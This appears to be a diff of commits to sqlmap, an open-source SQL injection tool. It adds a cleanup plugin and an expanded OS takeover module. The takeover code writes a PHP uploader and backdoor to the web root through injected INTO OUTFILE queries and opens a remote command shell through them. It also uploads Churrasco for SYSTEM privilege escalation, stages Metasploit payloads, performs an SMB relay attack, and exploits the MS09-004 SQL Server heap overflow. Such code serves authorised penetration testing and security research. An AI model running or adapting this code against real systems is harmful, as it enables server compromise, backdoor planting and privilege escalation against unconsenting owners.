debugMsg = "going to upload the %s file with " % fileType
|
||||
debugMsg += "stacked query SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.stackedWriteFile(wFile, dFile, fileType, confirm)
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
134
plugins/generic/misc.py
Normal file
134
plugins/generic/misc.py
Normal file
@@ -0,0 +1,134 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setRemoteTempPath
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Miscellaneous:
|
||||
"""
|
||||
This class defines miscellaneous functionalities for plugins.
|
||||
"""
|
||||
|
||||
def getRemoteTempPath(self):
|
||||
if not conf.tmpPath:
|
||||
if kb.os == "Windows":
|
||||
# NOTES:
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM and the system-wide
|
||||
# temporary files directory is C:\WINDOWS\Temp
|
||||
#
|
||||
# * PostgreSQL runs by default as postgres user and the
|
||||
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
||||
# however the system-wide folder is writable too
|
||||
#infoMsg = "retrieving remote absolute path of temporary files "
|
||||
#infoMsg += "directory"
|
||||
#logger.info(infoMsg)
|
||||
#
|
||||
#conf.tmpPath = self.evalCmd("echo %TEMP%")
|
||||
conf.tmpPath = "C:/WINDOWS/Temp"
|
||||
else:
|
||||
conf.tmpPath = "/tmp"
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", conf.tmpPath, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
conf.tmpPath = conf.tmpPath.replace("\\", "/")
|
||||
conf.tmpPath = os.path.normpath(conf.tmpPath)
|
||||
|
||||
setRemoteTempPath()
|
||||
|
||||
|
||||
def createSupportTbl(self, tblName, tblField, tblType):
|
||||
inject.goStacked("DROP TABLE %s" % tblName)
|
||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||
|
||||
|
||||
def cleanup(self, onlyFileTbl=False):
|
||||
"""
|
||||
Cleanup database from sqlmap create tables and functions
|
||||
"""
|
||||
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
if kb.os == "Windows":
|
||||
libtype = "dynamic-link library"
|
||||
|
||||
elif kb.os == "Linux":
|
||||
libtype = "shared object"
|
||||
|
||||
else:
|
||||
libtype = "shared library"
|
||||
|
||||
if onlyFileTbl == True:
|
||||
logger.debug("cleaning up the database management system")
|
||||
else:
|
||||
logger.info("cleaning up the database management system")
|
||||
|
||||
logger.debug("removing support tables")
|
||||
inject.goStacked("DROP TABLE %s" % self.fileTblName)
|
||||
|
||||
if onlyFileTbl == False:
|
||||
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
return
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
message = "do you want to remove %s UDF? [Y/n] " % udf
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if not output or output in ("y", "Y"):
|
||||
dropStr = "DROP FUNCTION %s" % udf
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
dropStr += "(text)"
|
||||
|
||||
logger.debug("removing %s UDF" % udf)
|
||||
inject.goStacked(dropStr)
|
||||
|
||||
logger.info("database management system cleanup finished")
|
||||
|
||||
warnMsg = "remember that UDF %s files " % libtype
|
||||
|
||||
if conf.osPwn:
|
||||
warnMsg += "and Metasploit related files in the temporary "
|
||||
warnMsg += "folder "
|
||||
|
||||
warnMsg += "saved on the file system can only be deleted "
|
||||
warnMsg += "manually"
|
||||
logger.warn(warnMsg)
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -24,14 +24,399 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
import re
|
||||
|
||||
from lib.core.common import getDirectories
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.dep import DEP
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
from lib.takeover.registry import Registry
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Takeover:
|
||||
class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.cmdTblName = "sqlmapoutput"
|
||||
self.tblField = "data"
|
||||
self.cmdFromChurrasco = False
|
||||
|
||||
Abstraction.__init__(self)
|
||||
DEP.__init__(self)
|
||||
|
||||
|
||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||
"""
|
||||
TODO: complete review of this code is needed
|
||||
"""
|
||||
|
||||
output = None
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
|
||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||
|
||||
if output:
|
||||
print output.group(1)
|
||||
else:
|
||||
print "No output"
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def __webBackdoorOsShell(self):
|
||||
"""
|
||||
TODO: complete review of this code is needed
|
||||
|
||||
This method is used to write a PHP agent (cmd.php) on a writable
|
||||
remote directory within the web server document root.
|
||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
||||
functionality
|
||||
|
||||
@todo:
|
||||
* Add a web application crawling functionality to detect
|
||||
all (at least most) web server directories and merge with
|
||||
Google results if the target host is a publicly available
|
||||
hostname or IP address;
|
||||
* Extend the agent to other interpreters rather than only PHP:
|
||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
||||
"""
|
||||
|
||||
infoMsg = "retrieving web application directories"
|
||||
logger.info(infoMsg)
|
||||
|
||||
directories = getDirectories()
|
||||
|
||||
if directories:
|
||||
infoMsg = "retrieved web server directories "
|
||||
infoMsg += "'%s'" % ", ".join(d for d in directories)
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "in addition you can provide a list of directories "
|
||||
message += "absolute path comma separated that you want sqlmap "
|
||||
message += "to try to upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
else:
|
||||
message = "please provide the web server document root [/var/www]: "
|
||||
inputDocRoot = readInput(message, default="/var/www")
|
||||
|
||||
if inputDocRoot:
|
||||
kb.docRoot = inputDocRoot
|
||||
else:
|
||||
kb.docRoot = "/var/www"
|
||||
|
||||
message = "please provide a list of directories absolute path "
|
||||
message += "comma separated that you want sqlmap to try to "
|
||||
message += "upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
|
||||
for inputDir in inputDirs:
|
||||
directories.add(inputDir)
|
||||
else:
|
||||
directories.add("/var/www/test")
|
||||
|
||||
infoMsg = "trying to upload the uploader agent"
|
||||
logger.info(infoMsg)
|
||||
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
uploaded = False
|
||||
|
||||
backdoorName = "backdoor.php"
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.php"
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
|
||||
for directory in directories:
|
||||
if uploaded:
|
||||
break
|
||||
|
||||
# Upload the uploader agent
|
||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
if kb.docRoot:
|
||||
requestDir = directory.replace(kb.docRoot, "")
|
||||
else:
|
||||
requestDir = directory
|
||||
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in page:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
warnMsg += "agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
infoMsg = "the uploader agent has been successfully uploaded "
|
||||
infoMsg += "on '%s'" % directory
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Upload the backdoor through the uploader agent
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
uploaded = True
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
|
||||
infoMsg = "the backdoor has been successfully uploaded on "
|
||||
infoMsg += "'%s', go with your browser to " % directory
|
||||
infoMsg += "'%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.osShell:
|
||||
message = "do you want to use the uploaded backdoor as a "
|
||||
message += "shell to execute commands right now? [Y/n] "
|
||||
shell = readInput(message, default="Y")
|
||||
|
||||
if shell in ("n", "N"):
|
||||
continue
|
||||
|
||||
infoMsg = "calling OS shell. To quit type "
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(infoMsg)
|
||||
|
||||
autoCompletion(osShell=True)
|
||||
|
||||
while True:
|
||||
command = None
|
||||
|
||||
try:
|
||||
command = raw_input("os-shell> ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
break
|
||||
|
||||
if not command:
|
||||
continue
|
||||
|
||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||
break
|
||||
|
||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||
|
||||
|
||||
def uploadChurrasco(self):
|
||||
msg = "do you want sqlmap to upload Churrasco and call the "
|
||||
msg += "Metasploit payload stager as its argument so that it "
|
||||
msg += "will be started as SYSTEM? [Y/n] "
|
||||
|
||||
output = readInput(msg, default="Y")
|
||||
|
||||
if not output or output[0] in ( "y", "Y" ):
|
||||
# TODO: add also compiled/packed Churrasco for Windows 2008
|
||||
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
self.cmdFromChurrasco = True
|
||||
|
||||
# NOTE: no need to handle DEP for Churrasco executable because
|
||||
# it spawns a new process as the SYSTEM user token to execute
|
||||
# the executable passed as argument
|
||||
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
||||
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def osCmd(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.initEnv()
|
||||
self.runCmd(conf.osCmd)
|
||||
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "OS shell functionality not yet implemented for this DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
infoMsg = "going to upload a web page backdoor for command "
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__webBackdoorOsShell()
|
||||
else:
|
||||
self.initEnv()
|
||||
self.absOsShell()
|
||||
|
||||
|
||||
def osPwn(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows":
|
||||
# NOTE: no need to add an exception to DEP for the payload
|
||||
# stager because it already sets the memory to +rwx before
|
||||
# copying the shellcode into that memory page
|
||||
#self.handleDep(self.exeFilePathRemote)
|
||||
|
||||
if conf.privEsc and kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
||||
warnMsg += "user which has no Windows Impersonation "
|
||||
warnMsg += "Tokens: it is unlikely that the privilege "
|
||||
warnMsg += "escalation will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
warnMsg += "runs as Network Service which has no Windows "
|
||||
warnMsg += "Impersonation Tokens within all threads, this "
|
||||
warnMsg += "makes Meterpreter's incognito extension to "
|
||||
warnMsg += "fail to list tokens"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
uploaded = self.uploadChurrasco()
|
||||
|
||||
if uploaded == False:
|
||||
warnMsg = "beware that the privilege escalation "
|
||||
warnMsg += "might not work"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
else:
|
||||
# Unset --priv-esc if the back-end DBMS underlying operating
|
||||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
|
||||
self.pwn()
|
||||
|
||||
|
||||
def osSmb(self):
|
||||
stackedTest()
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os != "Windows":
|
||||
errMsg = "the back-end DBMS underlying operating system is "
|
||||
errMsg += "not Windows: it is not possible to perform the SMB "
|
||||
errMsg += "relay attack"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
||||
errMsg = "on this back-end DBMS it is only possible to "
|
||||
errMsg += "perform the SMB relay attack if stacked "
|
||||
errMsg += "queries are supported"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
elif kb.dbms == "MySQL":
|
||||
debugMsg = "since stacked queries are not supported, "
|
||||
debugMsg += "sqlmap is going to perform the SMB relay "
|
||||
debugMsg += "attack via inference blind SQL injection"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
printWarn = True
|
||||
warnMsg = "it is unlikely that this attack will be successful "
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
warnMsg += "because by default MySQL on Windows runs as "
|
||||
warnMsg += "Local System which is not a real user, it does "
|
||||
warnMsg += "not send the NTLM session hash when connecting to "
|
||||
warnMsg += "a SMB service"
|
||||
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
warnMsg += "because by default PostgreSQL on Windows runs "
|
||||
warnMsg += "as postgres user which is a real user of the "
|
||||
warnMsg += "system, but not within the Administrators group"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
warnMsg += "runs as Network Service which is not a real user, "
|
||||
warnMsg += "it does not send the NTLM session hash when "
|
||||
warnMsg += "connecting to a SMB service"
|
||||
|
||||
else:
|
||||
printWarn = False
|
||||
|
||||
if printWarn == True:
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.smb()
|
||||
|
||||
|
||||
def osBof(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
||||
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
||||
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
||||
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
||||
errMsg += "stored procedure (MS09-004)"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
||||
infoMsg += "buffer overflow (MS09-004)"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: only needed to handle DEP
|
||||
self.initEnv(mandatory=False, detailed=True)
|
||||
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfShellcode()
|
||||
self.overflowBypassDEP()
|
||||
self.bof()
|
||||
self.delException()
|
||||
|
||||
Reference in New Issue
Block a user